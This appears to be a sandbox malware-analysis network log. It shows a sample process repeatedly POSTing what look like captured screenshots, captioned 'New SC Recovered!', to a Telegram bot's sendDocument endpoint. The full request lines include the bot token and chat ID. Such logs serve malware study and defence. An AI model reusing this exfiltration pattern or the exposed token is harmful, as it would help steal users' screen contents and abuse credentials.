2024-05-17 23:38:46 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 61 34 63 37 32 32 63 61 33 35 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 61 34 63 37 32 32 63 61 33 35 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 37 2f 32 32 2f 32 30 32 34 20 31 32 3a 33 37 3a 32 30 0a 55 73 65 72 Data Ascii: -----------------------------8dcaa4c722ca350Content-Disposition: form-data; name="chat_id"1165128482-----------------------------8dcaa4c722ca350Content-Disposition: form-data; name="caption"New SC Recovered!Time: 07/22/2024 12:37:20User
2024-05-17 23:38:46 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:38:46 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:38:46 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:38:46 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:38:46 UTC	1409	OUT	Data Raw: 03 e7 da 28 a2 b5 30 36 f4 cf 12 4f 67 63 f6 0b 9b 58 2f ec f3 b9 61 b8 5c 85 3e a0 f6 fc 28 d4 fc 49 3d e5 8f d8 2d ad 60 b0 b3 ce e6 86 dd 70 18 fa 93 df f1 ac 4a 4a 2c 17 0a 28 a2 98 05 14 51 40 1a f7 3e 27 d7 2e 2e a5 9f fb 56 f2 2f 31 cb f9 71 5c 3a a2 e4 e7 0a 33 c0 1d aa 39 75 cb e9 e7 86 7b 89 3c f9 a2 b6 92 db cc 94 b3 33 2b 87 04 92 4f 24 09 0e 3e 82 b3 28 a4 17 0a 28 a2 80 0a 28 a2 98 1d 74 de 31 8a e6 38 92 5b 47 8f cb 5c 02 ac 1b 3f cb 1d 2a 49 bc 6d 0c f1 79 4d a6 98 81 ea eb 20 63 f9 60 7f 3a e3 68 ac 95 28 25 04 97 c3 aa df bd c6 e4 db 93 fe 6d ce 8b 58 f1 2a ea 3a 42 e9 c9 6c ca aa e1 bc c6 6e 4e 33 db 1e fe b5 ce d1 45 54 62 a3 7b 75 77 06 db b2 7d 02 8a 28 aa 11 bd a5 6a c8 22 58 27 6d 8c bc 2b 7a 8a eb b4 dd 4e ee e1 b6 bd e0 10 20 cb Data Ascii: (06OgcX/a\>(I=-`pJJ,(Q@>'..V/1q\:39u{<3+O$>(((t18[G\?ImyM c`:h(%mX:BlnN3ETb{uw}(j"X'm+zN
2024-05-17 23:38:46 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 61 34 63 37 32 32 63 61 33 35 30 2d 2d 0d 0a Data Ascii: -----------------------------8dcaa4c722ca350--
2024-05-17 23:38:46 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:38:46 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:38:46 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49747	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:38:49 UTC	262	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcad575d0aaf1f Host: api.telegram.org Content-Length: 66995 Expect: 100-continue Connection: Keep-Alive
2024-05-17 23:38:49 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 64 35 37 35 64 30 61 61 66 31 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 64 35 37 35 64 30 61 61 66 31 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 37 2f 32 36 2f 32 30 32 34 20 30 39 3a 33 33 3a 31 30 0a 55 73 65 72 Data Ascii: -----------------------------8dcad575d0aaf1fContent-Disposition: form-data; name="chat_id"1165128482-----------------------------8dcad575d0aaf1fContent-Disposition: form-data; name="caption"New SC Recovered!Time: 07/26/2024 09:33:10User
2024-05-17 23:38:49 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:38:49 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:38:49 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:38:49 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:38:49 UTC	1409	OUT	Data Raw: 03 e7 da 28 a2 b5 30 36 f4 cf 12 4f 67 63 f6 0b 9b 58 2f ec f3 b9 61 b8 5c 85 3e a0 f6 fc 28 d4 fc 49 3d e5 8f d8 2d ad 60 b0 b3 ce e6 86 dd 70 18 fa 93 df f1 ac 4a 4a 2c 17 0a 28 a2 98 05 14 51 40 1a f7 3e 27 d7 2e 2e a5 9f fb 56 f2 2f 31 cb f9 71 5c 3a a2 e4 e7 0a 33 c0 1d aa 39 75 cb e9 e7 86 7b 89 3c f9 a2 b6 92 db cc 94 b3 33 2b 87 04 92 4f 24 09 0e 3e 82 b3 28 a4 17 0a 28 a2 80 0a 28 a2 98 1d 74 de 31 8a e6 38 92 5b 47 8f cb 5c 02 ac 1b 3f cb 1d 2a 49 bc 6d 0c f1 79 4d a6 98 81 ea eb 20 63 f9 60 7f 3a e3 68 ac 95 28 25 04 97 c3 aa df bd c6 e4 db 93 fe 6d ce 8b 58 f1 2a ea 3a 42 e9 c9 6c ca aa e1 bc c6 6e 4e 33 db 1e fe b5 ce d1 45 54 62 a3 7b 75 77 06 db b2 7d 02 8a 28 aa 11 bd a5 6a c8 22 58 27 6d 8c bc 2b 7a 8a eb b4 dd 4e ee e1 b6 bd e0 10 20 cb Data Ascii: (06OgcX/a\>(I=-`pJJ,(Q@>'..V/1q\:39u{<3+O$>(((t18[G\?ImyM c`:h(%mX:BlnN3ETb{uw}(j"X'm+zN
2024-05-17 23:38:49 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 64 35 37 35 64 30 61 61 66 31 66 2d 2d 0d 0a Data Ascii: -----------------------------8dcad575d0aaf1f--
2024-05-17 23:38:50 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:38:50 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:38:50 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49748	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:38:58 UTC	262	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcb1fe0d5217c4 Host: api.telegram.org Content-Length: 66995 Expect: 100-continue Connection: Keep-Alive
2024-05-17 23:38:58 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 31 66 65 30 64 35 32 31 37 63 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 31 66 65 30 64 35 32 31 37 63 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 38 2f 30 31 2f 32 30 32 34 20 30 37 3a 33 36 3a 32 32 0a 55 73 65 72 Data Ascii: -----------------------------8dcb1fe0d5217c4Content-Disposition: form-data; name="chat_id"1165128482-----------------------------8dcb1fe0d5217c4Content-Disposition: form-data; name="caption"New SC Recovered!Time: 08/01/2024 07:36:22User
2024-05-17 23:38:58 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:38:58 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:38:58 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:38:58 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:38:58 UTC	1409	OUT	Data Raw: 03 e7 da 28 a2 b5 30 36 f4 cf 12 4f 67 63 f6 0b 9b 58 2f ec f3 b9 61 b8 5c 85 3e a0 f6 fc 28 d4 fc 49 3d e5 8f d8 2d ad 60 b0 b3 ce e6 86 dd 70 18 fa 93 df f1 ac 4a 4a 2c 17 0a 28 a2 98 05 14 51 40 1a f7 3e 27 d7 2e 2e a5 9f fb 56 f2 2f 31 cb f9 71 5c 3a a2 e4 e7 0a 33 c0 1d aa 39 75 cb e9 e7 86 7b 89 3c f9 a2 b6 92 db cc 94 b3 33 2b 87 04 92 4f 24 09 0e 3e 82 b3 28 a4 17 0a 28 a2 80 0a 28 a2 98 1d 74 de 31 8a e6 38 92 5b 47 8f cb 5c 02 ac 1b 3f cb 1d 2a 49 bc 6d 0c f1 79 4d a6 98 81 ea eb 20 63 f9 60 7f 3a e3 68 ac 95 28 25 04 97 c3 aa df bd c6 e4 db 93 fe 6d ce 8b 58 f1 2a ea 3a 42 e9 c9 6c ca aa e1 bc c6 6e 4e 33 db 1e fe b5 ce d1 45 54 62 a3 7b 75 77 06 db b2 7d 02 8a 28 aa 11 bd a5 6a c8 22 58 27 6d 8c bc 2b 7a 8a eb b4 dd 4e ee e1 b6 bd e0 10 20 cb Data Ascii: 